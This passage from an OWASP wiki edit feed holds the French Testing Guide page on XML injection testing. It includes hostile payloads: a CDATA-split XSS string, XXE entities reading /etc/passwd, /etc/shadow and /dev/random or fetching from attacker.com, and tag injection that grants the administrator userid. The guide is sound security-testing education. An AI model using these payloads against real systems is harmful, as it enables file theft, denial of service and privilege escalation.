[[4.8.5.2 Tester MySQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.3 Tester SQL Server]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.4 Tester PostgreSQL (from OWASP BSP)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.5 Tester MS Access]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.5.6 Tester les injections NoSQL]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.6 Tester les injections LDAP (OTG-INPVAL-006)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.7 Tester les injections ORM (OTG-INPVAL-007)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.8 Tester les injections XML (OTG-INPVAL-008)]]&lt;br /&gt;
&lt;br /&gt;
[[4.8.9 Tester les injections SSI (OTG-INPVAL-009)]]&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=4.8.8_Tester_les_injections_XML_(OTG-INPVAL-008)&amp;diff=187883</id>
		<title>4.8.8 Tester les injections XML (OTG-INPVAL-008)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=4.8.8_Tester_les_injections_XML_(OTG-INPVAL-008)&amp;diff=187883"/>
				<updated>2015-01-12T13:43:05Z</updated>
		
		<summary type="html">&lt;p&gt;Jcpraud: Created page with &amp;quot;{{Template:OWASP Testing Guide v4}}  == Sommaire == Les tests d'injection XML consistent à essayer d'injecter un document XML dans l'application. Si l'analyseur XML ne valide...&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Sommaire ==&lt;br /&gt;
Les tests d'injection XML consistent à essayer d'injecter un document XML dans l'application. Si l'analyseur XML ne valide pas correctement les données, ce test sera positif.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cettee setion présente des exemples pratiques d'injections XML. Tout d'abord, nous allons définir un style de communication XML et en expliquer les principes de fonctionnement. Puis nous allons présenter la méthode de découverte pour injecter des méta-caractères XML. Après cette première étape, le testeur aura quelques informations sur la structure XML, et pourra donc essayer d'injecter des données et balises XML (injection de balises).&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Comment tester ==&lt;br /&gt;
Supposons qu'une application web utilise une communication de type XML pour procéder à l'enregistrement d'utilisateurs. Cela se fait en créant et ajoutant un nouveau noeud &amp;lt;user&amp;gt; dans un fichier xmlDb.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposons que ce fichier xmlDB ressemble à ce qui suit :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Lorsqu'un utilisateur s'inscrit lui-même en renseignant un formulaire HTML, l'application reçoit les entrées de l'utilisateur dans une requête standard. Pour des raisons de simplicité, supposons que cette requête est en GET.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Par exemple, les valeurs suivantes :&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
vont produire la requête :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;http://www.example.com/addUser.php?username=tony&amp;amp;password=Un6R34kb!e&amp;amp;email=s4tan@hell.com&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
L'application construit ensuite le noeud suivant :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
	&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
	&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
	&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
	&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
qui va être ajouté au fichier xmlDb :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Découverte ===&lt;br /&gt;
La première étape pour tester la présence de vulnérabilités d'injections XML dans une application consiste à essayer d'insérer des méta-caractères XML.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Les méta-caractères XML sont :&lt;br /&gt;
* '''Simple quote : ' ''' - Quand il n'est pas nettoyé, ce caractère peut déclencher une exception pendant l'analyse XML, si la valeur injectée est destinée à faire partie d'une valeur d'attribut d'une balise.&lt;br /&gt;
Par exemple, supposons l'attribut suivant :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;node attrib='$inputValue'/&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Donc si:&lt;br /&gt;
&lt;br /&gt;
 '''inputValue = foo''''&lt;br /&gt;
&lt;br /&gt;
est instantié et ensuite inséré dans la valeur d'attrib :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib='foo''/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
alors, le document XML résultant ne sera pas bien formé.&lt;br /&gt;
&lt;br /&gt;
* '''Double quote : &amp;quot; '''- ce caractère a la même signification que la simple quote et peut être utilisé si l'attribut est entouré de doubles quotes.&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;$inputValue&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Donc si :&lt;br /&gt;
 '''$inputValue = foo&amp;quot;'''&lt;br /&gt;
&lt;br /&gt;
la substitution donne:&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node attrib=&amp;quot;foo&amp;quot;&amp;quot;/&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
ce qui résulte en un document XML invalide.&lt;br /&gt;
&lt;br /&gt;
* '''Chevrons : &amp;gt; and &amp;lt;''' - En ajoutant un chevron ouvrant ou fermant dans une entrée utilisateur comme suit :&lt;br /&gt;
&lt;br /&gt;
 '''Username = foo&amp;lt;'''&lt;br /&gt;
&lt;br /&gt;
l'application va construire le nouveau noeud :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
     &amp;lt;username&amp;gt;foo&amp;lt;&amp;lt;/username&amp;gt; &lt;br /&gt;
     &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
     &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
     &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
mais du fait de la présence du chevron ouvrant '&amp;lt;', le document XML résultant est invalide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Balise de commentaire: &amp;lt;nowiki&amp;gt;&amp;lt;!--/--&amp;gt;&amp;lt;/nowiki&amp;gt;''' -  Cette séquence de caractères est interprêtée comme le début ou la fin d'un commentaire. Donc en injectant l'une d'elle dans le paramètre Username :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Username = foo&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
l'application va construire le noeud suivant :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
    &amp;lt;username&amp;gt;foo&amp;lt;!--&amp;lt;/username&amp;gt; &lt;br /&gt;
    &amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
    &amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
    &amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
qui ne sera pas une séquence XML valide.&lt;br /&gt;
&lt;br /&gt;
* '''esperluette : &amp;amp;amp; '''-   L'esperluette est utilisée dans la syntaxe XML pour représenter les entités. Le format d'une entité est '&amp;amp;amp;symbole;'. Une entité est mise en correspondance avec un caractère Unicode.&lt;br /&gt;
&lt;br /&gt;
Par exemple :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;tagnode&amp;gt;&amp;amp;amp;lt;&amp;lt;/tagnode&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
est bien formé et valide, et représente le caractère ASCII '&amp;lt;'.&lt;br /&gt;
&lt;br /&gt;
Si '&amp;amp;amp;' n'est pas lui-même encodé avec &amp;amp;amp;amp;, il peut être utilisé pour tester une injection XML.&lt;br /&gt;
&lt;br /&gt;
Dans les faits, si une telle entrée est fournie :&lt;br /&gt;
&lt;br /&gt;
 '''Username = &amp;amp;amp;foo'''&lt;br /&gt;
&lt;br /&gt;
un nouveau noeud va être créé :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;user&amp;gt; &lt;br /&gt;
&amp;lt;username&amp;gt;&amp;amp;foo&amp;lt;/username&amp;gt; &lt;br /&gt;
&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
&amp;lt;/user&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Mais une fois de plus, le document n'est pas valide : &amp;amp;amp;foo n'est pas terminé par ';' l'entité &amp;amp;foo; est indéfinie.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* '''Les délimiteurs de section CDATA : &amp;lt;![CDATA[ / ]]&amp;gt;''' - Les sections CDATA sont utilisées pour échapper des blocks de texte contenant des caractères qui autrement seraient reconnus comme des balises. En d'autres mots, les caractères d'une section CDATA ne sont pas analysés par l'analyseur XML.&lt;br /&gt;
&lt;br /&gt;
Par exemple, nous avons besoin de représenter la chaîne '&amp;lt;foo&amp;gt;' dans un noeud texte, une section CDATA peut être utilisée :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;node&amp;gt;&lt;br /&gt;
    &amp;lt;![CDATA[&amp;lt;foo&amp;gt;]]&amp;gt;&lt;br /&gt;
&amp;lt;/node&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
de telle manière '&amp;lt;foo&amp;gt;' ne sera pas analysé comme une balise et sera considérée comme des données caractères.&lt;br /&gt;
&lt;br /&gt;
Si un noeud est construit de la manière suivante :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;username&amp;gt;&amp;lt;![CDATA[&amp;lt;$userName]]&amp;gt;&amp;lt;/username&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
le testeur peut essayer d'injecter une chaîne de fin de CDATA ']]&amp;gt;' afin de rendre le document XML invalide.&lt;br /&gt;
&lt;br /&gt;
 '''userName  = ]]&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
qui va devenir :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;username&amp;gt;&amp;lt;![CDATA[]]&amp;gt;]]&amp;gt;&amp;lt;/username&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
qui n'est pas un fragment XML valide.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Un autre test peut être fait sur les balises CDATA. Supposons que le codument XML est traité pour générer une page HTML. Dans ce cas, les délimiteurs de section CDATA pourraient être simplement supprimés sans autre inspection de leur contenu. Ainsi, il est possible d'injecter les balises HTML qui seront incluses dans la page générée, contournant complétement les routines de validation.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Voyons un exemple concret. Supposons que nous ayons un noeud contenant du texte qui sera affiché :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt; &amp;lt;html&amp;gt;&lt;br /&gt;
 $HTMLCode&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Alors un attaquant peut fournir l'entrée suivante :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;$HTMLCode = &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
et obtenir le noeud suivant :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;html&amp;gt;&lt;br /&gt;
  &amp;lt;![CDATA[&amp;lt;]]&amp;gt;script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('xss')&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/script&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&lt;br /&gt;
 &amp;lt;/html&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Pendant le traitement, les délimiteurs de la section CDATA sont supprimés, pour générer le code HTML suivant :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;script&amp;gt;alert('XSS')&amp;lt;/script&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Le résultat est que l'application est vulnérable aux XSS.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Entités externes :'''&lt;br /&gt;
L'ensemble des entités valides peut être étendu en définissant de nouvelles entités. Si la définition d'une entité est une URI, c'est une entité dite externe. Si l'analyseur n'est pas configuré autrement, les entités externes le forcent à accéder à la ressource spécifiée par l'URI (fichier local ou distant). Ce comportement expose l'application aux attaques XXE (attaques XML eXternal Entity), qui peuvent être utilisées pour causer des dénis de service sur le système local, pour obtenir un accès non-autorisé à des fichiers sur la machine locale, pour scanner des machines distantes, et pour causer des dénis de service sur des systèmes distants.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour tester les vulnérabilités XXE, on peut utiliser l'entrée suivante :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
  &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
  &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///dev/random&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ce test va faire planter le serveur web (sur un système UNIX), si l'analyseur XML tente de substituer l'entité avec le contenu du fichier /dev/random.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
D'autres tests utiles :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/passwd&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///etc/shadow&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;file:///c:/boot.ini&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt;&lt;br /&gt;
 &amp;lt;!DOCTYPE foo [  &lt;br /&gt;
   &amp;lt;!ELEMENT foo ANY &amp;gt;&lt;br /&gt;
   &amp;lt;!ENTITY xxe SYSTEM &amp;quot;http://www.attacker.com/text.txt&amp;quot; &amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Injections de balises ===&lt;br /&gt;
Une fois que la première étape est accomplie, le testeur possède quelques informations sur la structure du document XML. Il va ensuite pouvoir essayer d'injecter des données et balises XML. L'exemple suivant décrit une attaque d'escalade de privilèges.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Considérons l'application vue précédemment. En insérant les valeurs suivantes :&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''Password: Un6R34kb!e'''&lt;br /&gt;
 '''E-mail: s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com'''&lt;br /&gt;
&lt;br /&gt;
l'application va construire un nouveau noeud et l'ajouter à la base de données XML :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le fichier XML résultant est bien formé. De plus, il est probable que, pour l'utilisateur tony, la valeur associée à la balise userid soit celle qui apparît en dernier, c'est-à-dire 0 (l'ID de l'administrateur). En d'autres mots, nous avons injecté un utilisateur avec les privilèges d'administration.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le seul problème est que la balise userid apparaît deux fois dans le dernier noeud utilisateur. Souvent les documents XML sont associés à un schéma ou un DTD et sont rejetés s'ils ne les respectent pas.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Supposons que le document XML soit spécifié par le DTD suivant :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;!DOCTYPE users [&lt;br /&gt;
	  &amp;lt;!ELEMENT users (user+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT user (username,password,userid,mail+) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT username (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT password (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT userid (#PCDATA) &amp;gt;&lt;br /&gt;
	  &amp;lt;!ELEMENT mail (#PCDATA) &amp;gt;&lt;br /&gt;
]&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Remarquons que le noeud userid est défini avec une cardinalité de 1. Dans ce cas, l'attaque précédente (et d'autres attaques simples) ne fonctionnera pas si le document XML est validé avec son DTD avant que le traitement ait lieu.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Cependant ce problème peut être résolu si le testeur contrôle la valeur des quelques noeuds précédents l'intru (userid dans cet exemple). En fait, le testeur peut commenter un tel noeud, en injectant une séquenc de debut/fin de commentaire :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
 '''Username: tony'''&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;Password: Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;E-mail: --&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Dans ce cas, la base XML finale sera :&lt;br /&gt;
&lt;br /&gt;
 '''&amp;lt;nowiki&amp;gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;ISO-8859-1&amp;quot;?&amp;gt; &lt;br /&gt;
&amp;lt;users&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;gandalf&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;!c3&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;gandalf@middleearth.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;Stefan0&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;w1s3c&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;Stefan0@whysec.hmm&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt; &lt;br /&gt;
	&amp;lt;user&amp;gt; &lt;br /&gt;
		&amp;lt;username&amp;gt;tony&amp;lt;/username&amp;gt; &lt;br /&gt;
		&amp;lt;password&amp;gt;Un6R34kb!e&amp;lt;/password&amp;gt;&amp;lt;!--&amp;lt;/password&amp;gt; &lt;br /&gt;
		&amp;lt;userid&amp;gt;500&amp;lt;/userid&amp;gt;&lt;br /&gt;
		&amp;lt;mail&amp;gt;--&amp;gt;&amp;lt;userid&amp;gt;0&amp;lt;/userid&amp;gt;&amp;lt;mail&amp;gt;s4tan@hell.com&amp;lt;/mail&amp;gt;&lt;br /&gt;
	&amp;lt;/user&amp;gt;&lt;br /&gt;
&amp;lt;/users&amp;gt;&amp;lt;/nowiki&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le noeud ''userid'' d'origine a été mis en commentaire, ne laissant que le noeud injecté. Ce document respecte maintenant les règles de son DTD.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==Outils==&lt;br /&gt;
* XML Injection Fuzz Strings (from wfuzz tool) - https://wfuzz.googlecode.com/svn/trunk/wordlist/Injections/XML.txt&lt;br /&gt;
&lt;br /&gt;
== Références ==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* [1] Alex Stamos: &amp;quot;Attacking Web Services&amp;quot; - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-Attacking_Web_Services.ppt&amp;lt;br&amp;gt;&lt;br /&gt;
* Gregory Steuck, &amp;quot;XXE (Xml eXternal Entity) attack&amp;quot;, http://www.securityfocus.com/archive/1/297714&lt;/div&gt;</summary>
		<author><name>Jcpraud</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=User:Jcpraud&amp;diff=187882</id>
		<title>User:Jcpraud</title>
